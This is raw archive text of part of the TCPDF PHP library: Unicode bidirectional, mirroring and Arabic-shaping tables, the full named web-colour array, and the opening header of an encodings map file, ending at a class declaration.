194997=>'L', 194998=>'L', 194999=>'L', 195000=>'L', 195001=>'L', 195002=>'L', 195003=>'L', 195004=>'L', 195005=>'L', 195006=>'L', 195007=>'L', 195008=>'L', 195009=>'L', 195010=>'L', 195011=>'L', 195012=>'L', 195013=>'L', 195014=>'L', 195015=>'L', 195016=>'L', 195017=>'L', 195018=>'L', 195019=>'L', 195020=>'L', 195021=>'L', 195022=>'L', 195023=>'L', 195024=>'L', 195025=>'L', 195026=>'L', 195027=>'L', 195028=>'L', 195029=>'L', 195030=>'L', 195031=>'L', 195032=>'L', 195033=>'L', 195034=>'L', 195035=>'L', 195036=>'L', 195037=>'L', 195038=>'L', 195039=>'L', 195040=>'L', 195041=>'L', 195042=>'L', 195043=>'L', 195044=>'L', 195045=>'L', 195046=>'L', 195047=>'L', 195048=>'L', 195049=>'L', 195050=>'L', 195051=>'L', 195052=>'L', 195053=>'L', 195054=>'L', 195055=>'L', 195056=>'L', 195057=>'L', 195058=>'L', 195059=>'L', 195060=>'L', 195061=>'L', 195062=>'L', 195063=>'L', 195064=>'L', 195065=>'L', 195066=>'L', 195067=>'L', 195068=>'L', 195069=>'L', 195070=>'L', 195071=>'L', 195072=>'L', 195073=>'L', 195074=>'L', 195075=>'L', 195076=>'L', 195077=>'L', 195078=>'L', 195079=>'L', 195080=>'L', 195081=>'L', 195082=>'L', 195083=>'L', 195084=>'L', 195085=>'L', 195086=>'L', 195087=>'L', 195088=>'L', 195089=>'L', 195090=>'L', 195091=>'L', 195092=>'L', 195093=>'L', 195094=>'L', 195095=>'L', 195096=>'L', 195097=>'L', 195098=>'L', 195099=>'L', 195100=>'L', 195101=>'L', 917505=>'BN', 917536=>'BN', 917537=>'BN', 917538=>'BN', 917539=>'BN', 917540=>'BN', 917541=>'BN', 917542=>'BN', 917543=>'BN', 917544=>'BN', 917545=>'BN', 917546=>'BN', 917547=>'BN', 917548=>'BN', 917549=>'BN', 917550=>'BN', 917551=>'BN', 917552=>'BN', 917553=>'BN', 917554=>'BN', 917555=>'BN', 917556=>'BN', 917557=>'BN', 917558=>'BN', 917559=>'BN', 917560=>'BN', 917561=>'BN', 917562=>'BN', 917563=>'BN', 917564=>'BN', 917565=>'BN', 917566=>'BN', 917567=>'BN', 917568=>'BN', 917569=>'BN', 917570=>'BN', 917571=>'BN', 917572=>'BN', 917573=>'BN', 917574=>'BN', 917575=>'BN', 917576=>'BN', 917577=>'BN', 917578=>'BN', 917579=>'BN', 917580=>'BN', 917581=>'BN', 917582=>'BN', 917583=>'BN', 917584=>'BN', 917585=>'BN', 917586=>'BN', 917587=>'BN', 917588=>'BN', 917589=>'BN', 917590=>'BN', 917591=>'BN', 917592=>'BN', 917593=>'BN', 917594=>'BN', 917595=>'BN', 917596=>'BN', 917597=>'BN', 917598=>'BN', 917599=>'BN', 917600=>'BN', 917601=>'BN', 917602=>'BN', 917603=>'BN', 917604=>'BN', 917605=>'BN', 917606=>'BN', 917607=>'BN', 917608=>'BN', 917609=>'BN', 917610=>'BN', 917611=>'BN', 917612=>'BN', 917613=>'BN', 917614=>'BN', 917615=>'BN', 917616=>'BN', 917617=>'BN', 917618=>'BN', 917619=>'BN', 917620=>'BN', 917621=>'BN', 917622=>'BN', 917623=>'BN', 917624=>'BN', 917625=>'BN', 917626=>'BN', 917627=>'BN', 917628=>'BN', 917629=>'BN', 917630=>'BN', 917631=>'BN', 917760=>'NSM', 917761=>'NSM', 917762=>'NSM', 917763=>'NSM', 917764=>'NSM', 917765=>'NSM', 917766=>'NSM', 917767=>'NSM', 917768=>'NSM', 917769=>'NSM', 917770=>'NSM', 917771=>'NSM', 917772=>'NSM', 917773=>'NSM', 917774=>'NSM', 917775=>'NSM', 917776=>'NSM', 917777=>'NSM', 917778=>'NSM', 917779=>'NSM', 917780=>'NSM', 917781=>'NSM', 917782=>'NSM', 917783=>'NSM', 917784=>'NSM', 917785=>'NSM', 917786=>'NSM', 917787=>'NSM', 917788=>'NSM', 917789=>'NSM', 917790=>'NSM', 917791=>'NSM', 917792=>'NSM', 917793=>'NSM', 917794=>'NSM', 917795=>'NSM', 917796=>'NSM', 917797=>'NSM', 917798=>'NSM', 917799=>'NSM', 917800=>'NSM', 917801=>'NSM', 917802=>'NSM', 917803=>'NSM', 917804=>'NSM', 917805=>'NSM', 917806=>'NSM', 917807=>'NSM', 917808=>'NSM', 917809=>'NSM', 917810=>'NSM', 917811=>'NSM', 917812=>'NSM', 917813=>'NSM', 917814=>'NSM', 917815=>'NSM', 917816=>'NSM', 917817=>'NSM', 917818=>'NSM', 917819=>'NSM', 917820=>'NSM', 917821=>'NSM', 917822=>'NSM', 917823=>'NSM', 917824=>'NSM', 917825=>'NSM', 917826=>'NSM', 917827=>'NSM', 917828=>'NSM', 917829=>'NSM', 917830=>'NSM', 917831=>'NSM', 917832=>'NSM', 917833=>'NSM', 917834=>'NSM', 917835=>'NSM', 917836=>'NSM', 917837=>'NSM', 917838=>'NSM', 917839=>'NSM', 917840=>'NSM', 917841=>'NSM', 917842=>'NSM', 917843=>'NSM', 917844=>'NSM', 917845=>'NSM', 917846=>'NSM', 917847=>'NSM', 917848=>'NSM', 917849=>'NSM', 917850=>'NSM', 917851=>'NSM', 917852=>'NSM', 917853=>'NSM', 917854=>'NSM', 917855=>'NSM', 917856=>'NSM', 917857=>'NSM', 917858=>'NSM', 917859=>'NSM', 917860=>'NSM', 917861=>'NSM', 917862=>'NSM', 917863=>'NSM', 917864=>'NSM', 917865=>'NSM', 917866=>'NSM', 917867=>'NSM', 917868=>'NSM', 917869=>'NSM', 917870=>'NSM', 917871=>'NSM', 917872=>'NSM', 917873=>'NSM', 917874=>'NSM', 917875=>'NSM', 917876=>'NSM', 917877=>'NSM', 917878=>'NSM', 917879=>'NSM', 917880=>'NSM', 917881=>'NSM', 917882=>'NSM', 917883=>'NSM', 917884=>'NSM', 917885=>'NSM', 917886=>'NSM', 917887=>'NSM', 917888=>'NSM', 917889=>'NSM', 917890=>'NSM', 917891=>'NSM', 917892=>'NSM', 917893=>'NSM', 917894=>'NSM', 917895=>'NSM', 917896=>'NSM', 917897=>'NSM', 917898=>'NSM', 917899=>'NSM', 917900=>'NSM', 917901=>'NSM', 917902=>'NSM', 917903=>'NSM', 917904=>'NSM', 917905=>'NSM', 917906=>'NSM', 917907=>'NSM', 917908=>'NSM', 917909=>'NSM', 917910=>'NSM', 917911=>'NSM', 917912=>'NSM', 917913=>'NSM', 917914=>'NSM', 917915=>'NSM', 917916=>'NSM', 917917=>'NSM', 917918=>'NSM', 917919=>'NSM', 917920=>'NSM', 917921=>'NSM', 917922=>'NSM', 917923=>'NSM', 917924=>'NSM', 917925=>'NSM', 917926=>'NSM', 917927=>'NSM', 917928=>'NSM', 917929=>'NSM', 917930=>'NSM', 917931=>'NSM', 917932=>'NSM', 917933=>'NSM', 917934=>'NSM', 917935=>'NSM', 917936=>'NSM', 917937=>'NSM', 917938=>'NSM', 917939=>'NSM', 917940=>'NSM', 917941=>'NSM', 917942=>'NSM', 917943=>'NSM', 917944=>'NSM', 917945=>'NSM', 917946=>'NSM', 917947=>'NSM', 917948=>'NSM', 917949=>'NSM', 917950=>'NSM', 917951=>'NSM', 917952=>'NSM', 917953=>'NSM', 917954=>'NSM', 917955=>'NSM', 917956=>'NSM', 917957=>'NSM', 917958=>'NSM', 917959=>'NSM', 917960=>'NSM', 917961=>'NSM', 917962=>'NSM', 917963=>'NSM', 917964=>'NSM', 917965=>'NSM', 917966=>'NSM', 917967=>'NSM', 917968=>'NSM', 917969=>'NSM', 917970=>'NSM', 917971=>'NSM', 917972=>'NSM', 917973=>'NSM', 917974=>'NSM', 917975=>'NSM', 917976=>'NSM', 917977=>'NSM', 917978=>'NSM', 917979=>'NSM', 917980=>'NSM', 917981=>'NSM', 917982=>'NSM', 917983=>'NSM', 917984=>'NSM', 917985=>'NSM', 917986=>'NSM', 917987=>'NSM', 917988=>'NSM', 917989=>'NSM', 917990=>'NSM', 917991=>'NSM', 917992=>'NSM', 917993=>'NSM', 917994=>'NSM', 917995=>'NSM', 917996=>'NSM', 917997=>'NSM', 917998=>'NSM', 917999=>'NSM', 983040=>'L', 1048573=>'L', 1048576=>'L', 1114109=>'L' ); /** * Mirror unicode characters. For information on bidi mirroring, see UAX #9: Bidirectional Algorithm, at http://www.unicode.org/unicode/reports/tr9/ * @public */ public $uni_mirror = array ( 0x0028=>0x0029, 0x0029=>0x0028, 0x003C=>0x003E, 0x003E=>0x003C, 0x005B=>0x005D, 0x005D=>0x005B, 0x007B=>0x007D, 0x007D=>0x007B, 0x00AB=>0x00BB, 0x00BB=>0x00AB, 0x0F3A=>0x0F3B, 0x0F3B=>0x0F3A, 0x0F3C=>0x0F3D, 0x0F3D=>0x0F3C, 0x169B=>0x169C, 0x169C=>0x169B, 0x2018=>0x2019, 0x2019=>0x2018, 0x201C=>0x201D, 0x201D=>0x201C, 0x2039=>0x203A, 0x203A=>0x2039, 0x2045=>0x2046, 0x2046=>0x2045, 0x207D=>0x207E, 0x207E=>0x207D, 0x208D=>0x208E, 0x208E=>0x208D, 0x2208=>0x220B, 0x2209=>0x220C, 0x220A=>0x220D, 0x220B=>0x2208, 0x220C=>0x2209, 0x220D=>0x220A, 0x2215=>0x29F5, 0x223C=>0x223D, 0x223D=>0x223C, 0x2243=>0x22CD, 0x2252=>0x2253, 0x2253=>0x2252, 0x2254=>0x2255, 0x2255=>0x2254, 0x2264=>0x2265, 0x2265=>0x2264, 0x2266=>0x2267, 0x2267=>0x2266, 0x2268=>0x2269, 0x2269=>0x2268, 0x226A=>0x226B, 0x226B=>0x226A, 0x226E=>0x226F, 0x226F=>0x226E, 0x2270=>0x2271, 0x2271=>0x2270, 0x2272=>0x2273, 0x2273=>0x2272, 0x2274=>0x2275, 0x2275=>0x2274, 0x2276=>0x2277, 0x2277=>0x2276, 0x2278=>0x2279, 0x2279=>0x2278, 0x227A=>0x227B, 0x227B=>0x227A, 0x227C=>0x227D, 0x227D=>0x227C, 0x227E=>0x227F, 0x227F=>0x227E, 0x2280=>0x2281, 0x2281=>0x2280, 0x2282=>0x2283, 0x2283=>0x2282, 0x2284=>0x2285, 0x2285=>0x2284, 0x2286=>0x2287, 0x2287=>0x2286, 0x2288=>0x2289, 0x2289=>0x2288, 0x228A=>0x228B, 0x228B=>0x228A, 0x228F=>0x2290, 0x2290=>0x228F, 0x2291=>0x2292, 0x2292=>0x2291, 0x2298=>0x29B8, 0x22A2=>0x22A3, 0x22A3=>0x22A2, 0x22A6=>0x2ADE, 0x22A8=>0x2AE4, 0x22A9=>0x2AE3, 0x22AB=>0x2AE5, 0x22B0=>0x22B1, 0x22B1=>0x22B0, 0x22B2=>0x22B3, 0x22B3=>0x22B2, 0x22B4=>0x22B5, 0x22B5=>0x22B4, 0x22B6=>0x22B7, 0x22B7=>0x22B6, 0x22C9=>0x22CA, 0x22CA=>0x22C9, 0x22CB=>0x22CC, 0x22CC=>0x22CB, 0x22CD=>0x2243, 0x22D0=>0x22D1, 0x22D1=>0x22D0, 0x22D6=>0x22D7, 0x22D7=>0x22D6, 0x22D8=>0x22D9, 0x22D9=>0x22D8, 0x22DA=>0x22DB, 0x22DB=>0x22DA, 0x22DC=>0x22DD, 0x22DD=>0x22DC, 0x22DE=>0x22DF, 0x22DF=>0x22DE, 0x22E0=>0x22E1, 0x22E1=>0x22E0, 0x22E2=>0x22E3, 0x22E3=>0x22E2, 0x22E4=>0x22E5, 0x22E5=>0x22E4, 0x22E6=>0x22E7, 0x22E7=>0x22E6, 0x22E8=>0x22E9, 0x22E9=>0x22E8, 0x22EA=>0x22EB, 0x22EB=>0x22EA, 0x22EC=>0x22ED, 0x22ED=>0x22EC, 0x22F0=>0x22F1, 0x22F1=>0x22F0, 0x22F2=>0x22FA, 0x22F3=>0x22FB, 0x22F4=>0x22FC, 0x22F6=>0x22FD, 0x22F7=>0x22FE, 0x22FA=>0x22F2, 0x22FB=>0x22F3, 0x22FC=>0x22F4, 0x22FD=>0x22F6, 0x22FE=>0x22F7, 0x2308=>0x2309, 0x2309=>0x2308, 0x230A=>0x230B, 0x230B=>0x230A, 0x2329=>0x232A, 0x232A=>0x2329, 0x2768=>0x2769, 0x2769=>0x2768, 0x276A=>0x276B, 0x276B=>0x276A, 0x276C=>0x276D, 0x276D=>0x276C, 0x276E=>0x276F, 0x276F=>0x276E, 0x2770=>0x2771, 0x2771=>0x2770, 0x2772=>0x2773, 0x2773=>0x2772, 0x2774=>0x2775, 0x2775=>0x2774, 0x27C3=>0x27C4, 0x27C4=>0x27C3, 0x27C5=>0x27C6, 0x27C6=>0x27C5, 0x27D5=>0x27D6, 0x27D6=>0x27D5, 0x27DD=>0x27DE, 0x27DE=>0x27DD, 0x27E2=>0x27E3, 0x27E3=>0x27E2, 0x27E4=>0x27E5, 0x27E5=>0x27E4, 0x27E6=>0x27E7, 0x27E7=>0x27E6, 0x27E8=>0x27E9, 0x27E9=>0x27E8, 0x27EA=>0x27EB, 0x27EB=>0x27EA, 0x2983=>0x2984, 0x2984=>0x2983, 0x2985=>0x2986, 0x2986=>0x2985, 0x2987=>0x2988, 0x2988=>0x2987, 0x2989=>0x298A, 0x298A=>0x2989, 0x298B=>0x298C, 0x298C=>0x298B, 0x298D=>0x2990, 0x298E=>0x298F, 0x298F=>0x298E, 0x2990=>0x298D, 0x2991=>0x2992, 0x2992=>0x2991, 0x2993=>0x2994, 0x2994=>0x2993, 0x2995=>0x2996, 0x2996=>0x2995, 0x2997=>0x2998, 0x2998=>0x2997, 0x29B8=>0x2298, 0x29C0=>0x29C1, 0x29C1=>0x29C0, 0x29C4=>0x29C5, 0x29C5=>0x29C4, 0x29CF=>0x29D0, 0x29D0=>0x29CF, 0x29D1=>0x29D2, 0x29D2=>0x29D1, 0x29D4=>0x29D5, 0x29D5=>0x29D4, 0x29D8=>0x29D9, 0x29D9=>0x29D8, 0x29DA=>0x29DB, 0x29DB=>0x29DA, 0x29F5=>0x2215, 0x29F8=>0x29F9, 0x29F9=>0x29F8, 0x29FC=>0x29FD, 0x29FD=>0x29FC, 0x2A2B=>0x2A2C, 0x2A2C=>0x2A2B, 0x2A2D=>0x2A2E, 0x2A2E=>0x2A2D, 0x2A34=>0x2A35, 0x2A35=>0x2A34, 0x2A3C=>0x2A3D, 0x2A3D=>0x2A3C, 0x2A64=>0x2A65, 0x2A65=>0x2A64, 0x2A79=>0x2A7A, 0x2A7A=>0x2A79, 0x2A7D=>0x2A7E, 0x2A7E=>0x2A7D, 0x2A7F=>0x2A80, 0x2A80=>0x2A7F, 0x2A81=>0x2A82, 0x2A82=>0x2A81, 0x2A83=>0x2A84, 0x2A84=>0x2A83, 0x2A8B=>0x2A8C, 0x2A8C=>0x2A8B, 0x2A91=>0x2A92, 0x2A92=>0x2A91, 0x2A93=>0x2A94, 0x2A94=>0x2A93, 0x2A95=>0x2A96, 0x2A96=>0x2A95, 0x2A97=>0x2A98, 0x2A98=>0x2A97, 0x2A99=>0x2A9A, 0x2A9A=>0x2A99, 0x2A9B=>0x2A9C, 0x2A9C=>0x2A9B, 0x2AA1=>0x2AA2, 0x2AA2=>0x2AA1, 0x2AA6=>0x2AA7, 0x2AA7=>0x2AA6, 0x2AA8=>0x2AA9, 0x2AA9=>0x2AA8, 0x2AAA=>0x2AAB, 0x2AAB=>0x2AAA, 0x2AAC=>0x2AAD, 0x2AAD=>0x2AAC, 0x2AAF=>0x2AB0, 0x2AB0=>0x2AAF, 0x2AB3=>0x2AB4, 0x2AB4=>0x2AB3, 0x2ABB=>0x2ABC, 0x2ABC=>0x2ABB, 0x2ABD=>0x2ABE, 0x2ABE=>0x2ABD, 0x2ABF=>0x2AC0, 0x2AC0=>0x2ABF, 0x2AC1=>0x2AC2, 0x2AC2=>0x2AC1, 0x2AC3=>0x2AC4, 0x2AC4=>0x2AC3, 0x2AC5=>0x2AC6, 0x2AC6=>0x2AC5, 0x2ACD=>0x2ACE, 0x2ACE=>0x2ACD, 0x2ACF=>0x2AD0, 0x2AD0=>0x2ACF, 0x2AD1=>0x2AD2, 0x2AD2=>0x2AD1, 0x2AD3=>0x2AD4, 0x2AD4=>0x2AD3, 0x2AD5=>0x2AD6, 0x2AD6=>0x2AD5, 0x2ADE=>0x22A6, 0x2AE3=>0x22A9, 0x2AE4=>0x22A8, 0x2AE5=>0x22AB, 0x2AEC=>0x2AED, 0x2AED=>0x2AEC, 0x2AF7=>0x2AF8, 0x2AF8=>0x2AF7, 0x2AF9=>0x2AFA, 0x2AFA=>0x2AF9, 0x2E02=>0x2E03, 0x2E03=>0x2E02, 0x2E04=>0x2E05, 0x2E05=>0x2E04, 0x2E09=>0x2E0A, 0x2E0A=>0x2E09, 0x2E0C=>0x2E0D, 0x2E0D=>0x2E0C, 0x2E1C=>0x2E1D, 0x2E1D=>0x2E1C, 0x3008=>0x3009, 0x3009=>0x3008, 0x300A=>0x300B, 0x300B=>0x300A, 0x300C=>0x300D, 0x300D=>0x300C, 0x300E=>0x300F, 0x300F=>0x300E, 0x3010=>0x3011, 0x3011=>0x3010, 0x3014=>0x3015, 0x3015=>0x3014, 0x3016=>0x3017, 0x3017=>0x3016, 0x3018=>0x3019, 0x3019=>0x3018, 0x301A=>0x301B, 0x301B=>0x301A, 0x301D=>0x301E, 0x301E=>0x301D, 0xFE59=>0xFE5A, 0xFE5A=>0xFE59, 0xFE5B=>0xFE5C, 0xFE5C=>0xFE5B, 0xFE5D=>0xFE5E, 0xFE5E=>0xFE5D, 0xFE64=>0xFE65, 0xFE65=>0xFE64, 0xFF08=>0xFF09, 0xFF09=>0xFF08, 0xFF1C=>0xFF1E, 0xFF1E=>0xFF1C, 0xFF3B=>0xFF3D, 0xFF3D=>0xFF3B, 0xFF5B=>0xFF5D, 0xFF5D=>0xFF5B, 0xFF5F=>0xFF60, 0xFF60=>0xFF5F, 0xFF62=>0xFF63, 0xFF63=>0xFF62); /** * Arabic shape substitutions: char code => (isolated, final, initial, medial). * @public */ public $uni_arabicsubst = array( 1569=>array(65152), 1570=>array(65153, 65154, 65153, 65154), 1571=>array(65155, 65156, 65155, 65156), 1572=>array(65157, 65158), 1573=>array(65159, 65160, 65159, 65160), 1574=>array(65161, 65162, 65163, 65164), 1575=>array(65165, 65166, 65165, 65166), 1576=>array(65167, 65168, 65169, 65170), 1577=>array(65171, 65172), 1578=>array(65173, 65174, 65175, 65176), 1579=>array(65177, 65178, 65179, 65180), 1580=>array(65181, 65182, 65183, 65184), 1581=>array(65185, 65186, 65187, 65188), 1582=>array(65189, 65190, 65191, 65192), 1583=>array(65193, 65194, 65193, 65194), 1584=>array(65195, 65196, 65195, 65196), 1585=>array(65197, 65198, 65197, 65198), 1586=>array(65199, 65200, 65199, 65200), 1587=>array(65201, 65202, 65203, 65204), 1588=>array(65205, 65206, 65207, 65208), 1589=>array(65209, 65210, 65211, 65212), 1590=>array(65213, 65214, 65215, 65216), 1591=>array(65217, 65218, 65219, 65220), 1592=>array(65221, 65222, 65223, 65224), 1593=>array(65225, 65226, 65227, 65228), 1594=>array(65229, 65230, 65231, 65232), 1601=>array(65233, 65234, 65235, 65236), 1602=>array(65237, 65238, 65239, 65240), 1603=>array(65241, 65242, 65243, 65244), 1604=>array(65245, 65246, 65247, 65248), 1605=>array(65249, 65250, 65251, 65252), 1606=>array(65253, 65254, 65255, 65256), 1607=>array(65257, 65258, 65259, 65260), 1608=>array(65261, 65262, 65261, 65262), 1609=>array(65263, 65264, 64488, 64489), 1610=>array(65265, 65266, 65267, 65268), 1649=>array(64336, 64337), 1655=>array(64477), 1657=>array(64358, 64359, 64360, 64361), 1658=>array(64350, 64351, 64352, 64353), 1659=>array(64338, 64339, 64340, 64341), 1662=>array(64342, 64343, 64344, 64345), 1663=>array(64354, 64355, 64356, 64357), 1664=>array(64346, 64347, 64348, 64349), 1667=>array(64374, 64375, 64376, 64377), 1668=>array(64370, 64371, 64372, 64373), 1670=>array(64378, 64379, 64380, 64381), 1671=>array(64382, 64383, 64384, 64385), 1672=>array(64392, 64393), 1676=>array(64388, 64389), 1677=>array(64386, 64387), 1678=>array(64390, 64391), 1681=>array(64396, 64397), 1688=>array(64394, 64395, 64394, 64395), 1700=>array(64362, 64363, 64364, 64365), 1702=>array(64366, 64367, 64368, 64369), 1705=>array(64398, 64399, 64400, 64401), 1709=>array(64467, 64468, 64469, 64470), 1711=>array(64402, 64403, 64404, 64405), 1713=>array(64410, 64411, 64412, 64413), 1715=>array(64406, 64407, 64408, 64409), 1722=>array(64414, 64415), 1723=>array(64416, 64417, 64418, 64419), 1726=>array(64426, 64427, 64428, 64429), 1728=>array(64420, 64421), 1729=>array(64422, 64423, 64424, 64425), 1733=>array(64480, 64481), 1734=>array(64473, 64474), 1735=>array(64471, 64472), 1736=>array(64475, 64476), 1737=>array(64482, 64483), 1739=>array(64478, 64479), 1740=>array(64508, 64509, 64510, 64511), 1744=>array(64484, 64485, 64486, 64487), 1746=>array(64430, 64431), 1747=>array(64432, 64433) ); /** * Arabic laa letter: (char code => isolated, final, initial, medial). * @public */ public $uni_laa_array = array ( 1570 =>array(65269, 65270, 65269, 65270), 1571 =>array(65271, 65272, 65271, 65272), 1573 =>array(65273, 65274, 65273, 65274), 1575 =>array(65275, 65276, 65275, 65276) ); /** * Array of character substitutions for sequences of two diacritics symbols. * Putting the combining mark and character in the same glyph allows us to avoid the two marks overlapping each other in an illegible manner. * second NSM char code => substitution char * @public */ public $uni_diacritics = array ( 1612=>64606, # Shadda + Dammatan 1613=>64607, # Shadda + Kasratan 1614=>64608, # Shadda + Fatha 1615=>64609, # Shadda + Damma 1616=>64610 # Shadda + Kasra ); /** * Array of character substitutions from UTF-8 Unicode to Latin1. * @public */ public $uni_utf8tolatin = array ( 8364=>128, # Euro1 338=>140, # OE 352=>138, # Scaron 376=>159, # Ydieresis 381=>142, # Zcaron2 8226=>149, # bullet3 710=>136, # circumflex 8224=>134, # dagger 8225=>135, # daggerdbl 8230=>133, # ellipsis 8212=>151, # emdash 8211=>150, # endash 402=>131, # florin 8249=>139, # guilsinglleft 8250=>155, # guilsinglright 339=>156, # oe 8240=>137, # perthousand 8222=>132, # quotedblbase 8220=>147, # quotedblleft 8221=>148, # quotedblright 8216=>145, # quoteleft 8217=>146, # quoteright 8218=>130, # quotesinglbase 353=>154, # scaron 732=>152, # tilde 8482=>153, # trademark 382=>158 # zcaron2 ); } // --- END OF CLASS --- //============================================================+ // END OF FILE //============================================================+ PK���\;� 1�� visolutions/tcpdf/htmlcolors.phpnu&1i�<?php //============================================================+ // File name : htmlcolors.php // Version : 1.0.008 // Begin : 2002-04-09 // Last Update : 2010-12-16 // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : GNU-LGPL v3 (http://www.gnu.org/copyleft/lesser.html) // ------------------------------------------------------------------- // Copyright (C) 2002-2012 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with TCPDF. If not, see <http://www.gnu.org/licenses/>. // // See LICENSE.TXT file for more information. // ------------------------------------------------------------------- // // Description : Array of WEB safe colors // //============================================================+ /** * @file * Array of WEB safe colors * @author Nicola Asuni * @package com.tecnick.tcpdf * @since 2.9.000 (2008-03-26) */ /** * Array of WEB safe colors */ $webcolor = array ( 'aliceblue' => 'f0f8ff', 'antiquewhite' => 'faebd7', 'aqua' => '00ffff', 'aquamarine' => '7fffd4', 'azure' => 'f0ffff', 'beige' => 'f5f5dc', 'bisque' => 'ffe4c4', 'black' => '000000', 'blanchedalmond' => 'ffebcd', 'blue' => '0000ff', 'blueviolet' => '8a2be2', 'brown' => 'a52a2a', 'burlywood' => 'deb887', 'cadetblue' => '5f9ea0', 'chartreuse' => '7fff00', 'chocolate' => 'd2691e', 'coral' => 'ff7f50', 'cornflowerblue' => '6495ed', 'cornsilk' => 'fff8dc', 'crimson' => 'dc143c', 'cyan' => '00ffff', 'darkblue' => '00008b', 'darkcyan' => '008b8b', 'darkgoldenrod' => 'b8860b', 'dkgray' => 'a9a9a9', 'darkgray' => 'a9a9a9', 'darkgrey' => 'a9a9a9', 'darkgreen' => '006400', 'darkkhaki' => 'bdb76b', 'darkmagenta' => '8b008b', 'darkolivegreen' => '556b2f', 'darkorange' => 'ff8c00', 'darkorchid' => '9932cc', 'darkred' => '8b0000', 'darksalmon' => 'e9967a', 'darkseagreen' => '8fbc8f', 'darkslateblue' => '483d8b', 'darkslategray' => '2f4f4f', 'darkslategrey' => '2f4f4f', 'darkturquoise' => '00ced1', 'darkviolet' => '9400d3', 'deeppink' => 'ff1493', 'deepskyblue' => '00bfff', 'dimgray' => '696969', 'dimgrey' => '696969', 'dodgerblue' => '1e90ff', 'firebrick' => 'b22222', 'floralwhite' => 'fffaf0', 'forestgreen' => '228b22', 'fuchsia' => 'ff00ff', 'gainsboro' => 'dcdcdc', 'ghostwhite' => 'f8f8ff', 'gold' => 'ffd700', 'goldenrod' => 'daa520', 'gray' => '808080', 'grey' => '808080', 'green' => '008000', 'greenyellow' => 'adff2f', 'honeydew' => 'f0fff0', 'hotpink' => 'ff69b4', 'indianred' => 'cd5c5c', 'indigo' => '4b0082', 'ivory' => 'fffff0', 'khaki' => 'f0e68c', 'lavender' => 'e6e6fa', 'lavenderblush' => 'fff0f5', 'lawngreen' => '7cfc00', 'lemonchiffon' => 'fffacd', 'lightblue' => 'add8e6', 'lightcoral' => 'f08080', 'lightcyan' => 'e0ffff', 'lightgoldenrodyellow' => 'fafad2', 'ltgray' => 'd3d3d3', 'lightgray' => 'd3d3d3', 'lightgrey' => 'd3d3d3', 'lightgreen' => '90ee90', 'lightpink' => 'ffb6c1', 'lightsalmon' => 'ffa07a', 'lightseagreen' => '20b2aa', 'lightskyblue' => '87cefa', 'lightslategray' => '778899', 'lightslategrey' => '778899', 'lightsteelblue' => 'b0c4de', 'lightyellow' => 'ffffe0', 'lime' => '00ff00', 'limegreen' => '32cd32', 'linen' => 'faf0e6', 'magenta' => 'ff00ff', 'maroon' => '800000', 'mediumaquamarine' => '66cdaa', 'mediumblue' => '0000cd', 'mediumorchid' => 'ba55d3', 'mediumpurple' => '9370d8', 'mediumseagreen' => '3cb371', 'mediumslateblue' => '7b68ee', 'mediumspringgreen' => '00fa9a', 'mediumturquoise' => '48d1cc', 'mediumvioletred' => 'c71585', 'midnightblue' => '191970', 'mintcream' => 'f5fffa', 'mistyrose' => 'ffe4e1', 'moccasin' => 'ffe4b5', 'navajowhite' => 'ffdead', 'navy' => '000080', 'oldlace' => 'fdf5e6', 'olive' => '808000', 'olivedrab' => '6b8e23', 'orange' => 'ffa500', 'orangered' => 'ff4500', 'orchid' => 'da70d6', 'palegoldenrod' => 'eee8aa', 'palegreen' => '98fb98', 'paleturquoise' => 'afeeee', 'palevioletred' => 'd87093', 'papayawhip' => 'ffefd5', 'peachpuff' => 'ffdab9', 'peru' => 'cd853f', 'pink' => 'ffc0cb', 'plum' => 'dda0dd', 'powderblue' => 'b0e0e6', 'purple' => '800080', 'red' => 'ff0000', 'rosybrown' => 'bc8f8f', 'royalblue' => '4169e1', 'saddlebrown' => '8b4513', 'salmon' => 'fa8072', 'sandybrown' => 'f4a460', 'seagreen' => '2e8b57', 'seashell' => 'fff5ee', 'sienna' => 'a0522d', 'silver' => 'c0c0c0', 'skyblue' => '87ceeb', 'slateblue' => '6a5acd', 'slategray' => '708090', 'slategrey' => '708090', 'snow' => 'fffafa', 'springgreen' => '00ff7f', 'steelblue' => '4682b4', 'tan' => 'd2b48c', 'teal' => '008080', 'thistle' => 'd8bfd8', 'tomato' => 'ff6347', 'turquoise' => '40e0d0', 'violet' => 'ee82ee', 'wheat' => 'f5deb3', 'white' => 'ffffff', 'whitesmoke' => 'f5f5f5', 'yellow' => 'ffff00', 'yellowgreen' => '9acd32' ); //============================================================+ // END OF FILE //============================================================+ PK���\g��oOoO$visolutions/tcpdf/encodings_maps.phpnu&1i�<?php //============================================================+ // File name : encodings_maps.php // Version : 1.0.001 // Begin : 2011-10-01 // Last Update : 2011-11-15 // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : GNU-LGPL v3 (http://www.gnu.org/copyleft/lesser.html) // ------------------------------------------------------------------- // Copyright (C) 2008-2012 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with TCPDF. If not, see <http://www.gnu.org/licenses/>. // // See LICENSE.TXT file for more information. // ------------------------------------------------------------------- // // Description : Unicode data for TCPDF library. // //============================================================+ /** * @file * Font encodings maps class for TCPDF library. * @author Nicola Asuni * @package com.tecnick.tcpdf * @since 5.9.123 (2011-10-01) */ /** * @class TCPDF_ENCODING_MAPS * This is a PHP class containing Font encodings maps class for TCPDF library. * @package com.tecnick.tcpdf * @version 1.0.000 * @author Nicola Asuni - info@tecnick.com */ class 